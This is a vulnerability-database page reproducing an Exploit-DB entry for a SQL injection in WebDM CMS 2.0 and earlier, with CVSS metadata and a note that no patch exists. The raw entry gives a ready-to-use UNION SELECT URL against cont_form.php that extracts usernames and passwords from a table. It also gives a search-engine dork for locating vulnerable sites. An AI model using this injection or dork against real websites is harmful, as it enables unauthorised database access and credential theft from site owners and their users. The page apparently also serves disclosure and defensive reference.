WebDM CMS SQL Injection Vulnerability

vendor:

WebDM CMS

by:

Dr.0rYX and Cr3w-DZ

8,3

CVSS

HIGH

SQL Injection

CWE

Product Name: WebDM CMS

Affected Version From: WebDM CMS <= 2.0

Affected Version To: WebDM CMS <= 2.0

Patch Exists: NO

Related CWE:

CPE: a:webdm:webdm_cms

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Web Applications

WebDM CMS SQL Injection Vulnerability

WebDM CMS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Mitigation:

No official solution is available.

Source

Exploit-DB raw data:

WebDM CMS SQL Injection Vulnerability

  * EDB-ID: 
  * CVE: 
  * OSVDB-ID: 
  * Author: Dr.0rYX and Cr3w-DZ
  * Published: 
  * Verified: 
  * Exploit Code:   
  * Vulnerable App:    

****************************************************************************************************
*           _______       ___________.__                     ___________      .__                  *
*      ____ \   _  \______\__    ___/|  |__           _____  \_   _____/______|__| ____ _____      *
*     /    \/  /_\  \_  __ \|    |   |  |  \   ______ \__  \  |    __) \_  __ \  |/ ___\\__  \     *
*    |   |  \  \_/   \  | \/|    |   |   Y  \ /_____/  / __ \_|     \   |  | \/  \  \___ / __ \_   *
*    |___|  /\_____  /__|   |____|   |___|  /         (____  /\___  /   |__|  |__|\___  >____  /   *
*         \/       \/                     \/               \/     \/                  \/     \/    *
*                                      .__  __             __                                      *
*      ______ ____   ____  __ _________|__|/  |_ ___.__. _/  |_  ____ _____    _____               *
*     /  ___// __ \_/ ___\|  |  \_  __ \  \   __<   |  | \   __\/ __ \\__  \  /     \              *
*     \___ \\  ___/\  \___|  |  /|  | \/  ||  |  \___  |  |  | \  ___/ / __ \|  Y Y  \             *
*    /____  >\___  >\___  >____/ |__|  |__||__|  / ____|  |__|  \___  >____  /__|_|  /             *
*         \/     \/     \/                       \/                 \/     \/      \/              *
*                                                        Pr!v8 Expl0iT AND t00l **                 *                                                                  
*                                      ALGERIAN HACKERS                                            *      
*********************************- NORTH-AFRICA SECURITY TEAM -*************************************
 
[!]            WebDM CMS SQL Injection Vulnerability
[!] Author    : Dr.0rYX and Cr3w-DZ
[!] MAIL      : vx3@hotmail.de<mailto:vx3@hotmail.de>  &  Cr3w@hotmail.de<mailto:Cr3w@hotmail.de>
 
***************************************************************************/
 
[ Software Information ]
 
[+] Vendor : http://www.internetdm.co.uk/
[+] script   : WebDM CMS 
[+] Download : http://www.internetdm.co.uk/site/cont_form.php?cf_id=1&fid=0,333 (sell script )
[+] Vulnerability : SQL injection
[+] Dork : inurl:"cont_form.php?cf_id="
 
**************************************************************************/
[ Vulnerable File ]
 
http://server/[path]/cont_form.php?cf_id=[N.A.S.T ]

http://server/cont_form.php?cf_id=[N.A.S.T ] 
 
[ Exploit ]
 
http://server/[path]/cont_form.php?cf_id=-1+union+select+1,2,3,4,5,6,7,8,Group_concat(uname,0x3a,pword),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28+from+tblstr--


[  GReet ]
 
[+] :claw , Exploit-db.com ,Inj3ct0r.com , ALL HACKERS MUSLIMS